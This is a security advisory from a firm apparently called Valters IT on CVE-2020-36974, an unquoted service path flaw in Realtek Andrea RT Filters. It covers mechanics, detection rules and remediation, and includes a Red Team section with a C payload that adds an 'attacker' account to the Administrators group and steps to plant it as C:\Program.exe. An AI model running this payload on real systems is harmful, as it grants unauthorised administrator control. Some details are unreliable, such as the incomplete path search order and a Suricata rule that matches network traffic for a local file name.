CVE-2020-36974

Executive Summary

CVE-2020-36974 is a local privilege escalation vulnerability in Realtek Andrea RT Filters version 1.0.64.7. The vulnerability stems from an unquoted service path in the Windows service executable C:/Program Files/IDT/WDM/AESTSr64.exe. Due to the space in the path, Windows interprets the path as multiple arguments, allowing a local attacker to place a malicious executable in a location that Windows will execute with SYSTEM privileges during service startup or system reboot. This vulnerability has a CVSS score of 0.0 in the NVD but is assessed here with a high severity due to the potential for full system compromise. No public exploit code or patch is available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a Windows driver component from Realtek.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs standard user privileges.
• User Interaction (UI): None (N) – No user action is needed beyond the service starting.
• Scope (S): Unchanged (U) – The vulnerable component and the attacker’s scope remain the same.
• Confidentiality (C): High (H) – Full system access allows reading any file.
• Integrity (I): High (H) – Full system access allows modifying any file.
• Availability (A): High (H) – Full system access can disrupt services.

CVSS Score: 7.8 (High)

Threat Level: High – Exploitation is straightforward for a local attacker, leading to complete system compromise.

Deep Dive & Mechanics

The vulnerability is a classic unquoted service path issue. The service executable path is defined as:

C:/Program Files/IDT/WDM/AESTSr64.exe

Because the path contains spaces and is not enclosed in quotes, Windows will attempt to execute the first token before a space as a command. Specifically, when the service starts, Windows will look for executables in the following order:

1. C:\Program.exe
2. C:\Program Files\IDT\WDM\AESTSr64.exe (the intended executable)

If an attacker can place a malicious Program.exe in the root of the C:\ drive, Windows will execute it with SYSTEM privileges before reaching the intended executable. The attacker must have write access to the C:\ root, which is typically restricted to administrators, but in some configurations or via other vulnerabilities, this may be possible.

The service is likely set to auto-start, meaning the malicious code will execute on every boot.

Vulnerable vs. Patched Code

Vulnerable Service Configuration (Unquoted Path):

[Service]
ImagePath = C:/Program Files/IDT/WDM/AESTSr64.exe

Patched Service Configuration (Quoted Path):

[Service]
ImagePath = "C:/Program Files/IDT/WDM/AESTSr64.exe"

The fix is trivial: enclose the path in double quotes. However, no official patch has been released by Realtek.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a Windows system with Realtek Andrea RT Filters 1.0.64.7 installed.
• Write access to the C:\ root directory (or another directory in the unquoted path).

Exploitation Steps:

1. Identify the vulnerable service:

   sc qc AESTSr64
   

   Look for BINARY_PATH_NAME without quotes.

2. Create a malicious executable:

   // malicious.c
   #include <windows.h>
   int main() {
       system("net localgroup Administrators attacker /add");
       return 0;
   }
   

   Compile with: x86_64-w64-mingw32-gcc -o Program.exe malicious.c

3. Place the executable: Copy Program.exe to C:\Program.exe.

4. Trigger execution:

   • Reboot the system, or
   • Restart the service: sc stop AESTSr64 && sc start AESTSr64

5. Verify privilege escalation: The attacker user is added to the Administrators group.

Blue Team

Detection Steps:

1. Check for unquoted service paths:

   Get-WmiObject Win32_Service | Where-Object { $_.PathName -notlike '"*' -and $_.PathName -like '* *' }
   

2. Monitor for suspicious files in C:\: Look for Program.exe, Program Files.exe, or other executables in root directories.

3. Audit service startup events: Event ID 7045 (Service installed) or 7036 (Service state change) may indicate malicious service manipulation.

Indicators of Compromise (IOCs)

• File: C:\Program.exe (or other executables in unquoted path segments)
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\AESTSr64\ImagePath with unquoted path
• Process: Program.exe running with SYSTEM privileges
• Event Log: Event ID 7045 with suspicious service path

Detection Engineering

YARA Rule

rule Unquoted_Service_Path_CVE_2020_36974 {
    meta:
        description = "Detects unquoted service path for Realtek Andrea RT Filters"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-36974"
    strings:
        $path = "C:/Program Files/IDT/WDM/AESTSr64.exe" nocase
    condition:
        $path
}

Sigma Rule

title: Unquoted Service Path - Realtek Andrea RT Filters
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unquoted service path for Realtek Andrea RT Filters (CVE-2020-36974)
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7045
        ImagePath|contains: 'C:/Program Files/IDT/WDM/AESTSr64.exe'
        ImagePath|re: '^[^"]'
    condition: selection
falsepositives:
    - Unknown
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2020-36974 Unquoted Service Path Exploit"; flow:to_server; content:"Program.exe"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

1. Manually quote the service path:

   sc config AESTSr64 binPath= "\"C:/Program Files/IDT/WDM/AESTSr64.exe\""
   

2. Restrict write access to C:\ root to only Administrators.
3. Monitor for unquoted service paths using the Sigma rule above.

Long-Term Remediation:

• Uninstall Realtek Andrea RT Filters if not needed.
• Apply any future patch from Realtek.
• Use Group Policy to enforce quoted service paths.

Valters IT
Securing your digital frontier.